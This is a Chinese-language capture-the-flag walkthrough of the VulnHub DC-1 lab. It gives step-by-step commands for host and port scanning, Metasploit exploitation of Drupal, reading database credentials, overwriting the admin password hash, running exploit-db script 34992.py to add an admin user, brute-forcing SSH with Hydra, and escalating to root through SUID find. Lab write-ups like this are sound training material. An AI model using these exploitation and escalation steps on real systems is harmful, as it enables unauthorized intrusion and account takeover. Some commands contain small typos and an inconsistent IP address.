0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-1.zip
介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。)
启动以后如下图:
将网络连接设置成桥接模式。
0x01 主机信息收集
发现主机:netdiscover -i eth0
可以确定目标主机的IP为192.168.2.145,本机的IP为192.168.2.157。
探测目标主机开放的端口:nmap -sS -sV -A -n 192.168.2.145
可以看到开启了22端口,80端口。
0x02 站点信息收集
访问80端口:http://192.168.2.145:80
网站是drupal的内容管理框架,由PHP编写的。可以明显的看出cms。
用dirb扫描一下网站目录:dirsearch -u 192.168.2.145 -e *
没有很特别的地方,可以先放一放这些目录。
0x03 漏洞查找与利用
已经知道是drupal的cms了,可以去查找一下相关的漏洞。这里直接用msf。
启动msf:msfconsole
搜索drupal相关的信息:search drupal
选择模块4:use 4
查看选项:show options
需要设置rhost,目的主机的IP:set rhosts 192.168.2.125
再运行:run
获得普通shell:shell
查看一下文件目录:ls
查看flag1.txt文件的内容:cat flag1.txt
这个文件提示我们去看一下配置文件。搜索drupal的配置文件,/site/default/settings.php,查看这个文件的内容:cat /site/default/settings.php
提示不存在这个这个文件,也许是换目录了,于是搜索:find / -name settings.php
找到了文件目录,再查看一下文件内容:cat /var/www/sites/default/settings.php
可以看到数据库的相关信息。
现在是普通shell,接下来升级成半交互式的shell来登录数据库:python -c 'import pty; pty.spawn("/bin/bash")'
可以看到这个shell还只是普通用户(www-data),没有root权限。根据前面的提示进入mysql数据库:mysql -u dbuser -p R0ck3t
收集数据库中的信息:
显示所有的数据库:show databases;
切换数据库:use drupaldb
显示当前数据库的所有表:show tables;
看到一个user表,查看这个表的内容:select * from users;
有两个用户,密码都加盐了。考虑给admin换个密码,或者添加一个和admin有一样权限的用户。
方式一:给admin换个密码123456
数据库里的密码是加密的,先找到drupal的加密文件/var/www/scripts/password-hash.sh,这个脚本是php写的,还能用php加上参数来运行,直接得到加密后的密码。所以用这个文件给123456加密:php /var/www/scripts/password-hash.sh 123456
(注意这里要先退出mysql)
框起来的部分就是123456加密后的内容了,复制一下: S S SDKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif
再进入mysql的drupaldb数据库的users表里,将name为admin的pass修改为上面复制的加密内容:update users set pass='$S$DKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif' where name='admin';
可以看到admin的密码已经更改为123456了。
方式二:添加一个admin权限的用户
drupal7版本有个sql注入的漏洞,可以添加一个admin权限的用户。Searchsploit会通过本地的exploit-db查找软件漏洞信息。在kali的终端里:searchsploit drupal
就可以查找drupal相关的漏洞信息。
利用这个脚本,path中有这个脚本的相对路径,前面的路径是/usr/share/exploitdb/exploits/,也可以利用命令查找这个脚本的完整路径:searchsploit 34992.py -p
再来看一下这个脚本的使用方法:python /usr/share/exploitdb/exploits/php/webapps/34992.py
添加一个名字为flag密码为flag的用户:python /usr/share/exploitdb/exploits/php/webapps/34992.py -u http://192.168.2.145 -u flag -p flag
可以看到插入用户成功了,可以进mysql里看一下是不是有:
用了上面两个方法以后,再去浏览器器中登录:http://192.168.2.145,用admin-123456也可以登陆成功,用flag-flag也可以登录成功。
可以看到已经登录成功了。找找看有没有什么有用的信息:
点进去这个flag3:
提示passwd和shadow文件有可以信息。
继续在msf的shell中查看/etc/passwd文件:tac /etx/passwd
(cat是cong第一行到最后一行连续输出到屏幕上,tac是从最后一行到第一行连续输出到屏幕上。)
可以看到有个flag4用户。有两种思路拿到这个用户的密码,一个是爆破,一个是提权打开shadow文件查看这个用户的密码。
进行爆破:hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.2.145
爆破出来的可以登录的用户名和密码已经高亮显示出来了。
再去msf的shell中ssh连接(直接在kali的终端中也可以):ssh flag4@192.168.2.145
flag4文件的内容提示:你能用相同的方式登录root用户吗?也许可以,但是很难。
考虑SUID提权。
找到正在系统上运行的所有SUID可执行文件:find / -user root -perm -4000 -print 2>/dev/null
发现find命令具有suid的权限。那就用可以执行root权限的find命令来查找文件,做到suid提权。find命令也有执行命令的能力,-exec必须以 ; 来结束命令,由于分号在各个系统中有不同的意义,所以前面加反斜杠。
使用exec查看当前用户:find / index.php -exec "/bin/sh" \;
(这里的index.php可以是任意文件名,只要是能在前面指定的根目录 / 下能确定找到的文件就可以。exec后面的命令不加双引号好像也可以。)
再用whoami命令看一下提权成功了没。
可以看到当前的用户为root。直接进入/root查看flag。
#0x04 思路总结文章来源:https://www.toymoban.com/news/detail-410603.html
netdiscover探测目标主机IP,nmap查看主机开放的端口服务。浏览器访问站点进行站点相关的信息收集,用dirsearch扫一下站点的目录。上msf找模块利用。获得普通用户的shell,找数据库相关的信息,登录数据库,修改密码。网站登录用户,查找提示信息。用hydra爆破目标主机的用户密码,ssh连接目标主机,用find命令进行SUID提权。文章来源地址https://www.toymoban.com/news/detail-410603.html
到了这里,关于Vulnhub靶场DC-1练习的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!